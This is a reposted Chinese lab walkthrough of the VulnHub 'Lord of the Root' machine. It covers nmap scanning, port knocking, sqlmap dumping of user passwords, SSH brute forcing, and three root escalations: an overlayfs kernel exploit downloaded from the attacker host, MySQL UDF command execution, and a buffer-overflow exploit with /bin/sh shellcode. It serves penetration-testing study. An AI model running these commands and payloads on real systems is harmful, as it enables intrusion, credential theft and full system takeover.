OSCP vulhub LORD OF THE ROOT: 1.0.1

news2024/11/23 18:34:33

vulhub LORD OF THE ROOT: 1.0.1

  • 靶场信息&安装
    • Description
  • 一、信息收集
      • 第一种ssh爆破
      • 第二种猜
  • 二、漏洞探测
  • 三、漏洞利用
  • 四、提权
      • 第二种方法:udf提权
    • 第三种缓冲区溢出提权

靶场信息&安装

地址:https://www.vulnhub.com/entry/lord-of-the-root-101,129/
发布日期:2015年9月23日
目标:得到root权限

Description

Back to the Top
I created this machine to help others learn some basic CTF hacking strategies and some tools. I aimed this machine to be very similar in difficulty to those I was breaking on the OSCP.

This is a boot-to-root machine will not require any guest interaction.

There are two designed methods for privilege escalation.

23/09/2015 == v1.0.1
22/09/2015 == v1.0

下载后ova直接使用vm打开
在这里插入图片描述

一、信息收集

1、获取靶机IP地址

nmap -sP 192.168.132.0/24

image-20210217114003001

由探测的结果可知,靶机的IP为192.168.137.134

2、扫描开放的端口和服务#

nmap -sS -P 1-65535 192.168.132.142
image-20210217114254236

得到开放的端口信息:

22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.3 (Ubuntu Linux; protocol 2.0)
扫描出仅开放一个22端口,尝试通过SSH连接…

 nmap -sS -sV -T5 -A -P 192.168.132.142 
Starting Nmap 7.92 ( https://nmap.org ) at 2023-01-11 09:23 CST
Nmap scan report for 192.168.132.142
Host is up (0.00064s latency).
Not shown: 999 filtered tcp ports (no-response)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   1024 3c:3d:e3:8e:35:f9:da:74:20:ef:aa:49:4a:1d:ed:dd (DSA)
|   2048 85:94:6c:87:c9:a8:35:0f:2c:db:bb:c1:3f:2a:50:c1 (RSA)
|   256 f3:cd:aa:1d:05:f2:1e:8c:61:87:25:b6:f4:34:45:37 (ECDSA)
|_  256 34:ec:16:dd:a7:cf:2a:86:45:ec:65:ea:05:43:89:21 (ED25519)
MAC Address: 00:0C:29:32:EC:E6 (VMware)

在这里插入图片描述

根据提示Easy as 1,2,3,可以想到利用端口碰撞

端口碰撞技术
hping3命令
http://lnmp.ailinux.net/hping3

这边使用hping命令冲撞三次试试1,2,3

nmap -n -v0 -Pn --max-retries 0 -p 1 192.168.132.142
nmap -n -v0 -Pn --max-retries 0 -p 2 192.168.132.142
nmap -n -v0 -Pn --max-retries 0 -p 3 192.168.132.142

hping3 -S 192.168.132.142 -p 1 -c 1
在这里插入图片描述

通过ping冲撞之后,防火墙规则会修改,重新使用nmap扫描

image-20210217120436096

发现1337号端口有个web应用,打开浏览器访问看看
在这里插入图片描述

访问robots.txt
http://192.168.132.142:1337/robots.txt
image-20210217120532733

base64解密网站

THprM09ETTBOVEl4TUM5cGJtUmxlQzV3YUhBPSBDbG9zZXIh
base64解密得到

Lzk3ODM0NTIxMC9pbmRleC5waHA= Closer!
还是一段base64密文,继续解密得到

/978345210/index.php
给了个路径
http://192.168.132.142:1337/978345210/index.php
在这里插入图片描述

需要我们输入用户名和密码,这里直接使用sqlmap

sqlmap -u "http://192.168.132.142:1337/978345210/index.php" --forms --dbs --batch
sqlmap -o -u "http://192.168.132.142:1337/978345210/index.php" --forms -D Webapp --tables --batch
sqlmap -u http://192.168.132.142:1337/978345210/index.php --forms -D Webapp -T Users --columns --batch
sqlmap -u "http://192.168.132.142:1337/978345210/index.php" --forms -D Webapp -T Users -C id,username,password --dump-all --batch
sqlmap -u "http://192.168.132.142:1337/978345210/index.php" --forms --dbs

在这里插入图片描述

sqlmap -o -u "http://192.168.132.142:1337/978345210/index.php" --forms -D Webapp --tables --batch

在这里插入图片描述

sqlmap -u http://192.168.132.142:1337/978345210/index.php --forms -D Webapp -T Users --columns --batch

在这里插入图片描述

sqlmap -u "http://192.168.132.142:1337/978345210/index.php" --forms -D Webapp -T Users -C id,username,password --dump-all --batch

在这里插入图片描述
在这里插入图片描述

第一种ssh爆破

将这些用户名和密码保存在两个不同的文本中,使用msfconsole 来破解SSH正确的账号密码

username为101.txt
frodo
smeagol
aragorn
legolas
gimli
password为102.txt
iwilltakethering
MyPreciousR00t
AndMySword
AndMyBow
AndMyAxe
1:msfconsole运行
2:加载模块
use auxiliary/scanner/ssh/ssh_login
3:加载目标ip
Set rhosts 192.168.5.1
4:加载用户名
默认情况下用户名为root
直接执行 set username root 即可、
若默认用户名修改,需要加入字典破解
Set pass_file pass.txx
设置为字典破解
5:设置密码字典
Set user_file user.txt
6:开始破解
执行命令 run
7:成功破解

得到密码MyPreciousR00t

有了之后就ssh登录

第二种猜

登录账户为smeagol
在这里插入图片描述

根据注出的密码一个尝试

账号smeagol/MyPreciousR00t即可登录成功

ssh smeagol@192.168.132.142

得到ubuntu的版本信息

smeagol@LordOfTheRoot:~$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description:    Ubuntu 14.04.3 LTS
Release:        14.04
Codename:       trusty
smeagol@LordOfTheRoot:~$ uname -a
Linux LordOfTheRoot 3.19.0-25-generic #26~14.04.1-Ubuntu SMP Fri Jul 24 21:18:00 UTC 2015 i686 i686 i686 GNU/Linux

在这里插入图片描述

二、漏洞探测

google搜索Ubuntu 14.04 exploit,发现存在可以利用的漏洞

三、漏洞利用

在这里插入图片描述

这里我们就用39166.c来提权
Linux Kernel 4.3.3 (Ubuntu 14.04/15.10) - ‘overlayfs’ Local Privilege Escalation (1)
https://www.exploit-db.com/exploits/39166

然后python开启服务,就exp传到靶机上

searchsploit -m 39166
python2 -m SimpleHTTPServer 8888

在这里插入图片描述
在这里插入图片描述

四、提权

编译运行上传的exp,获得root权限,查看flag

http://192.168.132.141:1337/39166.c
在这里插入图片描述

在这里插入图片描述

在这里插入图片描述
gcc 39166.c -o out
报错换一种,删除文件使用vm重新打开ova文件

# python2 -m SimpleHTTPServer 8888
Serving HTTP on 0.0.0.0 port 8888 ...
192.168.132.142 - - [12/Jan/2023 13:31:40] "GET /39166.c HTTP/1.1" 200 -

meagol@LordOfTheRoot:~$ wget http://192.168.132.139:8888/39166.c
--2023-01-11 22:31:40--  http://192.168.132.139:8888/39166.c
Connecting to 192.168.132.139:8888... connected.
HTTP request sent, awaiting response... 200 OK
Length: 2680 (2.6K) [text/plain]
Saving to: ‘39166.c’

100%[============================================================>] 2,680       --.-K/s   in 0s      

2023-01-11 22:31:40 (239 MB/s) - ‘39166.c’ saved [2680/2680]

smeagol@LordOfTheRoot:~$ ls
39166.c  Desktop  Documents  Downloads  examples.desktop  Music  Pictures  Public  Templates  Videos
smeagol@LordOfTheRoot:~$ gcc 39166.c -o bmfxtq
smeagol@LordOfTheRoot:~$ ls
39166.c  Desktop    Downloads         Music     Public     Videos
bmfxtq   Documents  examples.desktop  Pictures  Templates
smeagol@LordOfTheRoot:~$ ls -la bmfxtq
-rwxrwxr-x 1 smeagol smeagol 8028 Jan 11 22:32 bmfxtq
smeagol@LordOfTheRoot:~$ ./bmfxtq
root@LordOfTheRoot:~# whoami
root

在这里插入图片描述
成功

第二种方法:udf提权

MySQL服务是以root身份运行,可以通过此处进行反弹shell提权

收集一下对应版本的信息
在这里插入图片描述

本地kali搜索对应版本是否存在exp

在这里插入图片描述

然后在exploit-db中找到udf提权

https://www.exploit-db.com/exploits/1518
MySQL 4.x/5.0 (Linux) - User-Defined Function (UDF) Dynamic Library (2)

1518

在这里插入图片描述

这个要知道root用户登录的密码,

find / -name login.*

在/var/www/978345210目录下login.php文件中发现mysql的dba账号密码

在这里插入图片描述
看看可以不以使用UDF提权mysql是root用户运行的,如果我们提权成功,将获得root权限

smeagol@LordOfTheRoot:~$ mysql -u root -pdarkshadow
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 36
Server version: 5.5.44-0ubuntu0.14.04.1 (Ubuntu)

mysql> show global variables like 'secure%';

在这里插入图片描述

当 secure_file_priv 的值为 NULL ,表示限制 mysqld 不允许导入|导出文件,此时无法提权
 当 secure_file_priv 的值为 /tmp/ ,表示限制 mysqld 的导入|导出文件只能发生在 /tmp/ 目录下,此时也无法提权
 当 secure_file_priv 的值没有具体值时,表示不对 mysqld 的导入|导出文件做限制,此时可提权

查看主机版本及数据库架构,因数据库为i6886,要使用32位udf文件
在这里插入图片描述

查看plugin目录地址,此处为上传udf文件地址
找到之后就是提权了
在这里插入图片描述

可以在msf的/usr/share/metasploit-framework/data/exploits/mysql下,找到udf文件
在这里插入图片描述

将文件复制出来,因为是32位架构,所以使用lib_mysqludf_sys_32.so

在这里插入图片描述

攻击机启动8888端口,提供下载功能
python2 -m SimpleHTTPServer 8888

在这里插入图片描述连接数据库,进入一个库

在这里插入图片描述

 wget http://192.168.132.139:8888/lib_mysqludf_sys_32.so
smeagol@LordOfTheRoot:~$ mysql -u root -pdarkshadow

连接数据库后进入一个库


mysql> use mysql
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
mysql> create table temp(data longblob);
Query OK, 0 rows affected (0.03 sec)
#创建一个表,用来存储udf文件内容
mysql> insert into temp(data) values (load_file('/home/smeagol/lib_mysqludf_sys_32.so'));
Query OK, 1 row affected (0.02 sec)
#将udf文件插入到temp表中

mysql> select data from temp into dumpfile "/usr/lib/mysql/plugin/udf32.so";
Query OK, 1 row affected (0.01 sec)

mysql> create function sys_eval returns string soname 'udf32.so';
Query OK, 0 rows affected (0.02 sec)

mysql> select sys_eval('whoami');
+--------------------+                                                                                
| sys_eval('whoami') |                                                                                
+--------------------+                                                                                
| root               |                                                                                
+--------------------+                                                                                
1 row in set (0.13 sec)

mysql> select sys_eval('chmod u+s /usr/bin/find');
+-------------------------------------+
| sys_eval('chmod u+s /usr/bin/find') |
+-------------------------------------+
| NULL                                |
+-------------------------------------+
1 row in set (0.02 sec)

在这里插入图片描述
创建的sys_eval来执行命令了

mysql> select sys_eval('whoami');
+--------------------+
| sys_eval('whoami') |
+--------------------+
| root               |
+--------------------+
1 row in set (0.00 sec)

mysql> select sys_eval('ls /root/Flag.txt');
+-------------------------------+
| sys_eval('ls /root/Flag.txt') |
+-------------------------------+
| /root/Flag.txt                |
+-------------------------------+
1 row in set (0.00 sec)

mysql> select sys_eval('cat /root/Flag.txt');

在这里插入图片描述

第三种缓冲区溢出提权

缓冲区溢出漏洞的文件在根目录下的SECRET中,先看一下他们的文件信息
在这里插入图片描述

其中door3中的file文件与其他两个不一样

分别执行以下命令

./file $(python -c ‘print “A”*200’)
在这里插入图片描述

发现只有door3中的显示异常,可能存在缓冲区溢出

这里使用gdb工具进行调试

1647585393_6234287199131687fe2f8.png!small?1647585393585

首先找出代码溢出位置,就是上文中的20

既然在测试中200个字节就已经产生了溢出,那就先去生成一个不重复的两百的字节大小的字符串

/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 200
在这里插入图片描述

将eip中的内容复制下来,通过kali中的另一个文件查找

/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 41376641
1647586153_62342b6932b44a35ae9b7.png!small?1647586153184

171,那我们尝试控制eip中的内容

命令

run $(python -c ‘print “A”*171+“BBBB”’)
info r
1647586606_62342d2e45092c5d860aa.png!small?1647586606273

我们成功的控制了eip中的内容,那我们再往里添加数据看他会出现在哪里,由于我在SECRET中他们三个目录下的file是不断改变的(就是在刚测试的时候是door1下的file有漏洞,但等会又变成door2下file存在漏洞了,我也不知道为什么),所以我把漏洞文件复制到当前用户的文件夹下执行

1647587403_6234304b59fda9e66cc54.png!small?1647587403495

look! 他出现在esp中,那么只要让我们eip中的内容是我们esp的地址就行了,这里再提一嘴,因为计算机中的堆栈是先进后出就是我们若要构造esp的地址填充到eip中需要将esp地址反过来即

esp地址为’bffff610’

那我们往eip填写的数据需要是‘\x10\xf6\xff\xbf’,\x代表16进制

我们再看我们在/SECRET中执行的代码,这三次代码相同,但是每次esp地址却不同,甚至第三次他又没产生溢出漏洞,这就是我们上面讲的ASLR,他的地址在动态变化,防止我们制造出溢出漏洞,如何绕过他呢?

1647588022_623432b679a7dccfdc00f.png!small?1647588023051

假设他每次地址都在随机变化,那我们只要指定一个地址填充到eip中,并不断执行构造溢出,那是不是他终究会出现随机到和我们指定的地址相同这种情况,时不时就会执行我们的shellcode

编写exp

#!/bin/python
import os

buf=“A”*171

shellcode=“\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\x6a\x0b\x58\xcd\x80”
#for a in {1…1000}; do ./file $(python -c ‘print “A” * 171 + “\x40\xee\xff\xbf” + “\x90” * 2000 + “\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\x6a\x0b\x58\xcd\x80”’); done
shell=buf+“\x11\xee\xff\xbf”+“C”*20000+“\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\x6a\x0b\x58\xcd\x80”
for i in range(1,500):
os.system(‘./file’+" "+shell)
由于esp地址前两位一直是bf所以我们前两位不变,剩下六位随便填,不要填\x00就行,他有特殊含义不能被正确识别

代码中被注释的是我从其他作者文章中复制过来的,可以直接在shell中执行

执行命令

python /home/smeagol/door1/exploit.py
1647589092_623436e4525d71e30b653.png!small?1647589092314

因为没有权限在SECRET中写代码,所以将代码写在当前用户目录中

1647589198_6234374ed7d753743da7c.png!small?1647589199652

执行之后。成功获取root权限

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/158327.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

APSIM练习:向管理组件添加额外规则

“标准”作物管理组件没有提供很多选项来决定何时播种作物——很可能应该考虑一系列额外的种植规则(例如,土壤是否足够干燥以驱动拖拉机过去?),并且在播种时应采取额外措施(例如添加一些肥料)。…

Tofu目标识别跟踪模块介绍

1.简介Tofu3 是多波段视频物体识别跟踪模块,支持可见光视频与红外视频的输入,支持激光补光变焦自适应控制,支持视频下的多类型物体检测、识别、跟踪等功能。产品支持视频编码、设备管理、目标检测、深度学习识别、跟踪等功能,提供…

服务器防勒索病毒场景分析经验分享

服务器防勒索病毒 l 场景描述 互联网飞速发展,各企业均搭建了自己的服务器。包括文件服务器、代码服务器、业务系统服务器、数据库服务器等。目前大多数企业使用的服务器系统以Windows Server和Linux(Centos)居多,但随着国产操作…

python从入门到实践————图形界面(上)

系列文章目录 文章目录系列文章目录前言窗体组件窗体显示显示窗体文本显示项目实践总结前言 图形用户接口(Graphical User Interface,GUI)是人机交互的重要技术手段,在Python中利用tkinter模块就可以方便地实现图形界面。 在你p…

每日一题:Leetcode203 移除链表元素

文章目录 系列:链表专练 语言:java & go 题目来源:Leetcode203 移除链表元素 难度:简单 考点:头结点 && 虚拟头结点 思路和参考答案文章目录题目描述思路java参考代码go参考代码:题目描述 给…

xcelium——重要特性——提高编译仿真性能

以下图片来自于CadenceTECHTALK研讨会 解决编译仿真的瓶颈问题,提高整体性能 影响performance的因素 xcelium版本access rwccoverage收集snapshot过大,加载时间过长,可通过Zlib加快加快snapshot加载 编译/仿真添加选项: -new…

如何检查自己电脑是否被攻击了?

数据来源 本文仅用于信息安全的学习,请遵守相关法律法规,严禁用于非法途径。若观众因此作出任何危害网络安全的行为,后果自负,与本人无关。 通过系统命令排查账户安全 query user # 查看当前登录账户 lo…

21.字符串的概念,字符串的可修改性

字符串和指针 字符串的概念: 字符串就是以 ‘\0’ 结尾的若干字符的集合。字符串的地址,是第一个字符的地址。可以定义一个字符指针变量保存字符串的地址。比如: char* shelloworld"; 字符串的存储形式:数组、文字常量区、…

靶机测试haclabs-no_name

靶机地址https://www.vulnhub.com/entry/haclabs-no_name,429/靶机测试nmap扫描└─$ nmap -T5 -A 192.168.1.100 -oA hl-portsStarting Nmap 7.92 ( https://nmap.org ) at 2023-01-12 11:16 CST Nmap scan report for 192.168.1.100 Host is up (0.00040s latency). Not show…

获工信部认可!腾讯牵头的《零信任系统技术规范》入选工信部百项团标应用示范

近日,工信部发布《关于公布2022年团体标准应用示范项目的通告》,由腾讯安全牵头起草,公安部第三研究所、国家计算机网络应急技术处理协调中心、中国移动设计院等业内16家零信任厂商、测评机构及用户联合编制的中国第一部《零信任系统技术规范…

Webpack搭建本地服务器

1、开启本地服务器 1.1、为什么要搭建本地服务器? 目前我们开发的代码,为了运行需要有两个操作: 操作一:npm run build,编译相关的代码;操作二:通过live server或者直接通过浏览器&#xff0…

【ROS】—— 机器人系统仿真 —URDF语法 (十三)

文章目录前言1. 概述1.1 概念1.2 作用1.3 相关组件1.3.1 URDF1.3.2 RViz1.3.3 gazebo1.4 准备2. URDF集成Rviz基本流程2.1 创建功能包,导入依赖2.2 编写 URDF 文件2.3 在 launch 文件中集成 URDF 与 Rviz3. URDF语法详解3.1 robot3.2 link3.3 joint3.4 URDF练习3.5 …

Lock锁原理解析【Android进阶】

Lock锁原理解析【Android进阶】 Lock简介 Lock接口位于J.U.C下locks包内,其定义了Lock应该具备的方法。 Lock 方法签名: void lock():获取锁(不死不休,拿不到就一直等)boolean tryLock():获…

13.0、Linux-安装Tomcat、以及防火墙常用命令

13.0、Linux-安装Tomcat、以及防火墙常用命令 防火墙常用命令在本文最下方-> 安装 Tomcat -> 第一步:进入官网下载 Tomcat8 -> Apache Tomcat - Apache Tomcat 8 Software Downloads 第二步:将下载好的文件 通过 Xshell 和 Xftp 工具上传到 L…

前端面试题——React重点

文章目录React相关问题1. 函数式组件与Class组件有什么不同?2. 说说React的fiber架构?3. 协调4. 虚拟DOM (Virtual DOM)React相关问题 1. 函数式组件与Class组件有什么不同? 答: ① 函数式组件不需要继承,直接 “fun…

YUV 文件读取、显示、缩放、裁剪等操作教程

系列文章目录 文章目录系列文章目录前言一、Chroma subsampling二、读取 YUV 文件2.1 准备工作2.2 Planar 模式2.2.1 YUV420P 格式读取2.2.2 YUV422P 格式读取2.2.3 NV21 格式读取2.2.4 NV12 格式读取2.2.5 小结2.3 Packed 模式2.3.1 YUYV 格式读取2.3.2 小结三、SDL 显示 YUV …

自动化测试是什么?为什么要做自动化测试?

自动化测试是什么?相信对软件测试有一定了解的朋友都不会感到陌生。自动化测试正如字面上理解得那样,是一种自动完成测试工作的测试方式。虽然是说的自动化,但是也是需要测试员手动编写代码去完成测试工作。那么,为什么要做自动化…

【链表】leetcode19.删除链表的倒数第N个节点(C/C++/Java/Js)

leetcode19.删除链表的倒数第N个节点1 题目2 思路3 代码3.1 C版本3.2 C版本3.3 Java版本3.4 JavaScript版本4 总结1 题目 题源链接 给你一个链表,删除链表的倒数第 n 个结点,并且返回链表的头结点。 示例 1: 输入:head [1,2…

微服务了解

1、什么是微服务 微服务就是根据业务功能模块把一个单体的应用拆分成许多个独立的项目,每个项目完成一部分的业务功能,然后独立开发和部署。这些独立的项目就成为一个微服务。进而构成一个服务集群。 微服务个人理解就是将之前的单一服务架构&#xff…

【Python】词云之wordcloud参数全解析

写了一半,明天继续 目录一基础用法二、WordCloud类形参说明2.1 常用参数2.11 字体 font_path2.12 画布尺寸 width、hight2.13 比例(缩放)scale2.14 颜色 colormap2.15 颜色color_func2.16 组合频率collocations2.17 遮罩(蒙版&…